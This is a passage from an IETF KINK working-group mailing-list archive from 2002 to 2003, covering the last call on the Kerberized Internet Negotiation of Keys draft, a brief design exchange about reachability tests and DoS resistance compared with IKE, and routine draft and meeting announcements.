EE, SM '95 MIT Media Laboratory > Member, MIT Student Information Processing Board (SIPB) > URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH > warlord@MIT.EDU PGP key available -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Tue Jan 22 19:16:18 2002 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.6/8.11.3) id g0N3GID08659 for ietf-kink-bks; Tue, 22 Jan 2002 19:16:18 -0800 (PST) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g0N3GG308655 for ; Tue, 22 Jan 2002 19:16:16 -0800 (PST) Received: from sj-msg-av-3.cisco.com (sj-msg-av-3.cisco.com [171.69.17.42]) by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id g0N3GFd07575; Tue, 22 Jan 2002 19:16:15 -0800 (PST) Received: from janpc-home.cisco.com (localhost [127.0.0.1]) by sj-msg-av-3.cisco.com (8.10.1/8.10.1) with ESMTP id g0N3GEp09346; Tue, 22 Jan 2002 19:16:14 -0800 (PST) Date: Tue, 22 Jan 2002 19:16:14 -0800 (PST) From: Jan Vilhuber To: Derek Atkins cc: ietf-kink@vpnc.org Subject: Re: Reminder: KINK WG LAST CALL ends January 21st In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: I obviously think we need to move forward (don't you?), but I don't really have any comment at this time... I'm a bit curious about the silence as well, though. jan On 17 Jan 2002, Derek Atkins wrote: > > So, I've heard no comments (positive or negative) about this draft. > Are we beating a dead horse with this work? Should we let the work > (and this group) die, or do people still think that we should > standardize KINK? > > -derek > > Derek Atkins writes: > > > Just a reminder.... > > > > -derek > > > > > Last year in SLC I promised to call a Last Call for the KINK draft. > > > So, I hereby open a two-week working-group last call on > > > draft-ietf-kink-kink. The last-call will last until 12 noon > > > US/Eastern on January 21st. > > > > > > Please send any comments on the draft... If you want your comments > > > anonymized, feel free to email them to me personally and I will > > > forward the issue to the list. > > > > -- > > Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory > > Member, MIT Student Information Processing Board (SIPB) > > URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH > > warlord@MIT.EDU PGP key available > > -- > Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory > Member, MIT Student Information Processing Board (SIPB) > URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH > warlord@MIT.EDU PGP key available > -- Jan Vilhuber vilhuber@cisco.com (408) 527-0847 Strategic Cryptographic Development, ITD, Cisco Systems, San Jose From owner-ietf-kink Thu Jan 31 10:47:57 2002 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.6/8.11.3) id g0VIlvR28704 for ietf-kink-bks; Thu, 31 Jan 2002 10:47:57 -0800 (PST) Received: from fort-point-station.mit.edu (FORT-POINT-STATION.MIT.EDU [18.7.7.76]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g0VIls328699 for ; Thu, 31 Jan 2002 10:47:54 -0800 (PST) Received: from grand-central-station.mit.edu (GRAND-CENTRAL-STATION.MIT.EDU [18.7.21.82]) by fort-point-station.mit.edu (8.9.2/8.9.2) with ESMTP id NAA27983 for ; Thu, 31 Jan 2002 13:47:53 -0500 (EST) Received: from melbourne-city-street.mit.edu (MELBOURNE-CITY-STREET.MIT.EDU [18.7.21.86]) by grand-central-station.mit.edu (8.9.2/8.9.2) with ESMTP id NAA09995 for ; Thu, 31 Jan 2002 13:42:59 -0500 (EST) Received: from hodge-podge.mit.edu (HODGE-PODGE.MIT.EDU [18.187.1.128]) by melbourne-city-street.mit.edu (8.9.2/8.9.2) with ESMTP id NAA16250 for ; Thu, 31 Jan 2002 13:42:41 -0500 (EST) Received: (from warlord@localhost) by hodge-podge.mit.edu (8.9.3) id NAA00586; Thu, 31 Jan 2002 13:42:41 -0500 (EST) To: ietf-kink@vpnc.org Subject: Request for Speakers in Mineapolis From: Derek Atkins Date: 31 Jan 2002 13:42:41 -0500 Message-ID: Lines: 9 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Do we have anything to discuss in Minneapolis? If so, let me know so I can request a slot. -derek -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Mon Feb 11 14:48:19 2002 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.6/8.11.3) id g1BMmJS08937 for ietf-kink-bks; Mon, 11 Feb 2002 14:48:19 -0800 (PST) Received: from pacific-carrier-annex.mit.edu (PACIFIC-CARRIER-ANNEX.MIT.EDU [18.7.21.83]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g1BMmF308932 for ; Mon, 11 Feb 2002 14:48:15 -0800 (PST) Received: from grand-central-station.mit.edu (GRAND-CENTRAL-STATION.MIT.EDU [18.7.21.82]) by pacific-carrier-annex.mit.edu (8.9.2/8.9.2) with ESMTP id RAA07517; Mon, 11 Feb 2002 17:48:17 -0500 (EST) Received: from melbourne-city-street.mit.edu (MELBOURNE-CITY-STREET.MIT.EDU [18.7.21.86]) by grand-central-station.mit.edu (8.9.2/8.9.2) with ESMTP id RAA02278; Mon, 11 Feb 2002 17:48:16 -0500 (EST) Received: from kikki.mit.edu (KIKKI.MIT.EDU [18.18.1.142]) by melbourne-city-street.mit.edu (8.9.2/8.9.2) with ESMTP id RAA03230; Mon, 11 Feb 2002 17:48:15 -0500 (EST) Received: (from warlord@localhost) by kikki.mit.edu (8.9.3) id RAA22422; Mon, 11 Feb 2002 17:48:15 -0500 (EST) To: mat@cisco.com Cc: ietf-kink@vpnc.org From: Derek Atkins Subject: KINK draft wrap-up Date: 11 Feb 2002 17:48:14 -0500 Message-ID: Lines: 17 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Sorry for the (extremely) late wrapup. There were very few comments about the KINK draft during WG last call, and all of them said "let's move forward". The only thing that I noticed personally in a final reading is that the draft does not discuss a reachability test before actually processing the AP_REQ (Create) message. I don't recall if we decided that we don't need one, of this was an oversight. Mike? Other than that issue, I think we're ready to move forward. Mike, what's your plan with regards to reachability? -derek -- Derek Atkins Computer and Internet Security Consultant derek@ihtfp.com www.ihtfp.com From owner-ietf-kink Fri Feb 15 13:50:46 2002 Received: by above.proper.com (8.11.6/8.11.3) id g1FLokX15467 for ietf-kink-bks; Fri, 15 Feb 2002 13:50:46 -0800 (PST) Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g1FLoj315463 for ; Fri, 15 Feb 2002 13:50:45 -0800 (PST) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-4.cisco.com (8.11.3/8.9.1) with ESMTP id g1FLo5t29852; Fri, 15 Feb 2002 13:50:05 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAX13200; Fri, 15 Feb 2002 13:49:35 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id NAA28201; Fri, 15 Feb 2002 13:50:04 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15469.33420.40995.642344@thomasm-u1.cisco.com> Date: Fri, 15 Feb 2002 13:50:04 -0800 (PST) To: Derek Atkins Cc: mat@cisco.com, ietf-kink@vpnc.org Subject: KINK draft wrap-up In-Reply-To: References: X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Derek Atkins writes: > Sorry for the (extremely) late wrapup. There were very few comments > about the KINK draft during WG last call, and all of them said "let's > move forward". > > The only thing that I noticed personally in a final reading is that > the draft does not discuss a reachability test before actually > processing the AP_REQ (Create) message. I don't recall if we decided > that we don't need one, of this was an oversight. Mike? No, I don't think we need one. The reason is because the ap-req is directly verifiable and thus state is not installed unless it authenticates correctly. This is in contrast to IKE which needs to create state before the cert exchange happens which can lead to a DoS attack via expensive DH exponentiation from an unauthenticated initiator. Mike From owner-ietf-kink Fri Feb 15 14:11:20 2002 Received: by above.proper.com (8.11.6/8.11.3) id g1FMBKX16007 for ietf-kink-bks; Fri, 15 Feb 2002 14:11:20 -0800 (PST) Received: from pacific-carrier-annex.mit.edu (PACIFIC-CARRIER-ANNEX.MIT.EDU [18.7.21.83]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g1FMBI316002 for ; Fri, 15 Feb 2002 14:11:19 -0800 (PST) Received: from grand-central-station.mit.edu (GRAND-CENTRAL-STATION.MIT.EDU [18.7.21.82]) by pacific-carrier-annex.mit.edu (8.9.2/8.9.2) with ESMTP id RAA16284; Fri, 15 Feb 2002 17:11:21 -0500 (EST) Received: from melbourne-city-street.mit.edu (MELBOURNE-CITY-STREET.MIT.EDU [18.7.21.86]) by grand-central-station.mit.edu (8.9.2/8.9.2) with ESMTP id RAA14645; Fri, 15 Feb 2002 17:11:20 -0500 (EST) Received: from kikki.mit.edu (KIKKI.MIT.EDU [18.18.1.142]) by melbourne-city-street.mit.edu (8.9.2/8.9.2) with ESMTP id RAA01445; Fri, 15 Feb 2002 17:05:25 -0500 (EST) Received: (from warlord@localhost) by kikki.mit.edu (8.9.3) id RAA05170; Fri, 15 Feb 2002 17:05:24 -0500 (EST) To: Michael Thomas Cc: ietf-kink@vpnc.org From: Derek Atkins Subject: Re: KINK draft wrap-up References: <15469.33420.40995.642344@thomasm-u1.cisco.com> Date: 15 Feb 2002 17:05:24 -0500 In-Reply-To: <15469.33420.40995.642344@thomasm-u1.cisco.com> Message-ID: Lines: 34 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Ok.. I suppose people don't think that a DES/3DES decrypt is high overhead. In that case, I'll contact Marcus and ask to move KINK to IETF last-call. -derek Michael Thomas writes: > Derek Atkins writes: > > Sorry for the (extremely) late wrapup. There were very few comments > > about the KINK draft during WG last call, and all of them said "let's > > move forward". > > > > The only thing that I noticed personally in a final reading is that > > the draft does not discuss a reachability test before actually > > processing the AP_REQ (Create) message. I don't recall if we decided > > that we don't need one, of this was an oversight. Mike? > > No, I don't think we need one. The reason is because > the ap-req is directly verifiable and thus state is > not installed unless it authenticates correctly. This > is in contrast to IKE which needs to create state > before the cert exchange happens which can lead to > a DoS attack via expensive DH exponentiation from > an unauthenticated initiator. > > Mike -- Derek Atkins Computer and Internet Security Consultant derek@ihtfp.com www.ihtfp.com From owner-ietf-kink Fri Feb 22 12:57:02 2002 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.6/8.11.3) id g1MKv2A13062 for ietf-kink-bks; Fri, 22 Feb 2002 12:57:02 -0800 (PST) Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g1MKv0313058 for ; Fri, 22 Feb 2002 12:57:01 -0800 (PST) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA24284; Fri, 22 Feb 2002 15:57:00 -0500 (EST) Message-Id: <200202222057.PAA24284@ietf.org> To: IETF-Announce: ; Cc: ietf-kink@vpnc.org From: The IESG SUBJECT: Last Call: Kerberized Internet Negotiation of Keys (KINK) to Proposed Standard Reply-to: iesg@ietf.org Date: Fri, 22 Feb 2002 15:56:59 -0500 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: The IESG has received a request Kerberized Internet Negotiation of Keys to consider Kerberized Internet Negotiation of Keys (KINK) as a Proposed Standard. The IESG plans to make a decision in the next few weeks, and solicits final comments on this action. Please send any comments to the iesg@ietf.org or ietf@ietf.org mailing lists by March 8, 2002. Files can be obtained via http://www.ietf.org/internet-drafts/draft-ietf-kink-kink-02.txt From owner-ietf-kink Sat Aug 17 20:25:33 2002 Received: by above.proper.com (8.11.6/8.11.3) id g7I3PXd12292 for ietf-kink-bks; Sat, 17 Aug 2002 20:25:33 -0700 (PDT) Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g7I3PWw12288 for ; Sat, 17 Aug 2002 20:25:32 -0700 (PDT) Received: (from bcn@localhost) by boreas.isi.edu (8.11.6/8.11.2) id g7I3PO204725; Sat, 17 Aug 2002 20:25:24 -0700 (PDT) Date: Sat, 17 Aug 2002 20:25:24 -0700 (PDT) Message-Id: <200208180325.g7I3PO204725@boreas.isi.edu> From: Clifford Neuman To: ietf-cat-wg@lists.stanford.edu, ietf-kink@vpnc.org, ietf-krb-wg@anl.gov, krb-protocol@mit.edu, kerberos@mit.edu Subject: CFP - Symposium on Network & Distributed Systems Security Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Last year there was some concern within the Kerberos community that no papers on Kerberos appeared in 2002 Symposium. That was largely because there were no good papers related to Kerberos that were submitted. The NDSS symposium is one of the conferences that has most encourged papers related to Kerberos in the past, and this year I strongly urge anyone with interesting research or case studies to submit. Clifford Neuman -- CFP - Symposium on Network & Distributed Systems Security The Internet Society's (ISOC) annual Symposium on Network and Distributed System Security (NDSS) brings together innovative and forward thinking members of the Internet community including leading-edge security researchers and implementers, globally-recognized security-technology experts, and users from both the private and public sectors who design, develop, exploit, and deploy the technologies that define network and distributed system security. If you are working on new and practical approaches to security problems that are endemic to network and distributed systems, we invite you to participate in NDSS'03 by submitting one or more technical papers and/or panel proposals. Submission details may be found at: http://www.isoc.org/isoc/conferences/ndss/03/cfp.shtml NDSS'03 will again be held for three days in San Diego, California in February, 2003. One day of tutorials will be followed by two days of technical sessions including refereed papers, invited talks, and panel discussions and debates. Please be aware that the NDSS'03 cut off date for paper and panel submission is August 30, 2002. All accepted papers will be published in The NDSS Proceedings by the Internet Society. There will also be an Outstanding Paper Award presented at the Symposium to the author(s). Submitted papers should not have been previously published or be submitted simultaneously to a journal or to another symposium or workshop with a published proceedings. Please consider joining us at NDSS'03. We look forward to hearing from you! Clifford Neuman, Information Sciences Institute, University of Southern California General Chair, NDSS'03 Virgil Gligor, University of Maryland Michael Reiter, Carnegie Mellon University Program Chairs, NDSS'03 From owner-ietf-kink Tue Aug 20 12:36:30 2002 Received: by above.proper.com (8.11.6/8.11.3) id g7KJaU023247 for ietf-kink-bks; Tue, 20 Aug 2002 12:36:30 -0700 (PDT) Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g7KJaT223239 for ; Tue, 20 Aug 2002 12:36:29 -0700 (PDT) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA23371; Tue, 20 Aug 2002 15:35:07 -0400 (EDT) Message-Id: <200208201935.PAA23371@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ietf-kink@vpnc.org From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-kink-kink-03.txt Date: Tue, 20 Aug 2002 15:35:06 -0400 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Kerberized Internet Negotiation of Keys Working Group of the IETF. Title : Kerberized Internet Negotiation of Keys (KINK) Author(s) : M. Thomas, J. Vilhuber Filename : draft-ietf-kink-kink-03.txt Pages : 33 Date : 16-Aug-02 The Kerberized Internet Negotiation of Keys protocol (KINK) defines a low-latency, computationally inexpensive, easily managed, and cryptographically sound protocol to set up and maintain IPsec security associations using Kerberos authentication. KINK reuses many ISAKMP Quick Mode payloads to create, delete and maintain IPsec security associations which should lead to substantial reuse of existing IKE implementations. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-kink-kink-03.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-kink-kink-03.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-kink-kink-03.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20020816131537.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-kink-kink-03.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-kink-kink-03.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20020816131537.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ietf-kink Tue Aug 27 16:39:50 2002 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.6/8.11.3) id g7RNdo105557 for ietf-kink-bks; Tue, 27 Aug 2002 16:39:50 -0700 (PDT) Received: from [165.227.249.18] (165-227-249-20.client.dsl.net [165.227.249.20]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g7RNdn205550; Tue, 27 Aug 2002 16:39:49 -0700 (PDT) Mime-Version: 1.0 X-Sender: phoffvpnc@mail.vpnc.org Message-Id: Date: Tue, 27 Aug 2002 16:39:52 -0700 To: (many IETF mailing lists) From: Paul Hoffman / VPNC Subject: Nomcom call for volunteers Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Forwarded for Phil Roberts : The members of the IESG and IAB and the IETF chair are selected by a nominations committee made up of volunteers from the IETF community. The nominations committee is now in the process of being formed and volunteers are being accepted until Sep 6. Please see (http://www.ietf.org/nomcom/msg19765.html) for information if you are interested in volunteering to be on the nominations committee. From owner-ietf-kink Tue Aug 27 20:30:51 2002 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.6/8.11.3) id g7S3UpF16079 for ietf-kink-bks; Tue, 27 Aug 2002 20:30:51 -0700 (PDT) Received: from kazessu (dhcp-139-115.hongo.wide.ad.jp [203.178.139.115]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g7S3Un216074 for ; Tue, 27 Aug 2002 20:30:49 -0700 (PDT) Received: from kazessu.hongo.wide.ad.jp (localhost [::1]) by kazessu (8.11.6/8.11.6) with ESMTP id g7S3Uq200437 for ; Wed, 28 Aug 2002 12:30:52 +0900 (JST) Date: Wed, 28 Aug 2002 12:30:52 +0900 Message-ID: <20020828123052HH%kamada@hongo.wide.ad.jp> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: kink implementation User-Agent: Wanderlust/2.8.1 (Something) SEMI/1.14.4 (Hosorogi) FLIM/1.14.4 (=?ISO-8859-4?Q?Kashiharajing=FE-mae?=) APEL/10.3 Emacs/21.1 (i386-unknown-netbsdelf1.6A) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.4 - "Hosorogi") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Hello, We are examining light-weight key management protocols for LCNA devices and going to implement KINK. I have two questions. 1. Is there already any implementation of KINK? 2. If it is, have any interop test done? or any plans in the future? for our activities, please see http://www.tahi.org/lcna/. -- KAMADA Ken'ichi Graduate School of Information Science and Technology, The University of Tokyo. From owner-ietf-kink Thu Nov 7 03:28:05 2002 Received: (from majordomo@localhost) by above.proper.com (8.11.6/8.11.3) id gA7BS5A13845 for ietf-kink-bks; Thu, 7 Nov 2002 03:28:05 -0800 (PST) Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.11.6/8.11.3) with ESMTP id gA7BS4v13841 for ; Thu, 7 Nov 2002 03:28:04 -0800 (PST) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA10932; Thu, 7 Nov 2002 06:25:34 -0500 (EST) Message-Id: <200211071125.GAA10932@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ietf-kink@vpnc.org From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-kink-kink-04.txt Date: Thu, 07 Nov 2002 06:25:33 -0500 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Kerberized Internet Negotiation of Keys Working Group of the IETF. Title : Kerberized Internet Negotiation of Keys (KINK) Author(s) : M. Thomas, J. Vilhuber Filename : draft-ietf-kink-kink-04.txt Pages : 36 Date : 2002-11-6 The Kerberized Internet Negotiation of Keys protocol (KINK) defines a low-latency, computationally inexpensive, easily managed, and cryptographically sound protocol to set up and maintain IPsec security associations using Kerberos authentication. KINK reuses many ISAKMP Quick Mode payloads to create, delete and maintain IPsec security associations which should lead to substantial reuse of existing IKE implementations. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-kink-kink-04.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-kink-kink-04.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-kink-kink-04.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2002-11-6174914.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-kink-kink-04.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-kink-kink-04.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2002-11-6174914.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ietf-kink Thu Nov 7 12:15:33 2002 Received: (from majordomo@localhost) by above.proper.com (8.11.6/8.11.3) id gA7KFXH22133 for ietf-kink-bks; Thu, 7 Nov 2002 12:15:33 -0800 (PST) Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.11.6/8.11.3) with ESMTP id gA7KFVv22129; Thu, 7 Nov 2002 12:15:32 -0800 (PST) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA08965 for <1timer>; Thu, 7 Nov 2002 15:11:40 -0500 (EST) Message-Id: <200211072011.PAA08965@ietf.org> From: The IESG To: All IETF Working Groups: ; Subject: Note Well Statement x-msg: NoteWell Date: Thu, 07 Nov 2002 15:11:40 -0500 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: >From time to time, especially just before a meeting, this statement is to be sent to each and every IETF working group mailing list. =========================================================================== NOTE WELL All statements related to the activities of the IETF and addressed to the IETF are subject to all provisions of Section 10 of RFC 2026, which grants to the IETF and its participants certain licenses and rights in such statements. Such statements include verbal statements in IETF meetings, as well as written and electronic communications made at any time or place, which are addressed to - the IETF plenary session, - any IETF working group or portion thereof, - the IESG, or any member thereof on behalf of the IESG, - the IAB or any member thereof on behalf of the IAB, - any IETF mailing list, including the IETF list itself, any working group or design team list, or any other list functioning under IETF auspices, - the RFC Editor or the Internet-Drafts function Statements made outside of an IETF meeting, mailing list or other function, that are clearly not intended to be input to an IETF activity, group or function, are not subject to these provisions. From owner-ietf-kink Mon Nov 11 10:25:33 2002 Received: (from majordomo@localhost) by above.proper.com (8.11.6/8.11.3) id gABIPXJ14608 for ietf-kink-bks; Mon, 11 Nov 2002 10:25:33 -0800 (PST) Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.11.6/8.11.3) with ESMTP id gABIPVg14603 for ; Mon, 11 Nov 2002 10:25:31 -0800 (PST) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA26773; Mon, 11 Nov 2002 13:23:00 -0500 (EST) Message-Id: <200211111823.NAA26773@ietf.org> To: IETF-Announce: ; Cc: ietf-kink@vpnc.org From: The IESG SUBJECT: Last Call: Kerberized Internet Negotiation of Keys (KINK) to Proposed Standard Reply-to: iesg@ietf.org Date: Mon, 11 Nov 2002 13:23:00 -0500 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: The IESG has received a request from the Kerberized Internet Negotiation of Keys Working Group to consider Kerberized Internet Negotiation of Keys (KINK) as a Proposed Standard. The IESG plans to make a decision in the next few weeks, and solicits final comments on this action. Please send any comments to the iesg@ietf.org or ietf@ietf.org mailing lists by 2002-12-11. Files can be obtained via http://www.ietf.org/internet-drafts/draft-ietf-kink-kink-04.txt From owner-ietf-kink Mon Feb 3 03:47:51 2003 Received: (from majordomo@localhost) by above.proper.com (8.11.6/8.11.3) id h13BlpX15886 for ietf-kink-bks; Mon, 3 Feb 2003 03:47:51 -0800 (PST) Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.11.6/8.11.3) with ESMTP id h13Blod15882 for ; Mon, 3 Feb 2003 03:47:50 -0800 (PST) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA03411; Mon, 3 Feb 2003 06:44:13 -0500 (EST) Message-Id: <200302031144.GAA03411@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ietf-kink@vpnc.org From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-kink-kink-05.txt Date: Mon, 03 Feb 2003 06:44:13 -0500 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Kerberized Internet Negotiation of Keys Working Group of the IETF. Title : Kerberized Internet Negotiation of Keys (KINK) Author(s) : M. Thomas, J. Vilhuber Filename : draft-ietf-kink-kink-05.txt Pages : 38 Date : 2003-1-31 The Kerberized Internet Negotiation of Keys protocol (KINK) defines a low-latency, computationally inexpensive, easily managed, and cryptographically sound protocol to set up and maintain IPsec security associations using Kerberos authentication. KINK reuses many ISAKMP Quick Mode payloads to create, delete and maintain IPsec security associations which should lead to substantial reuse of existing IKE implementations. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-kink-kink-05.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-kink-kink-05.txt". A list of Internet-Drafts directories can be found in 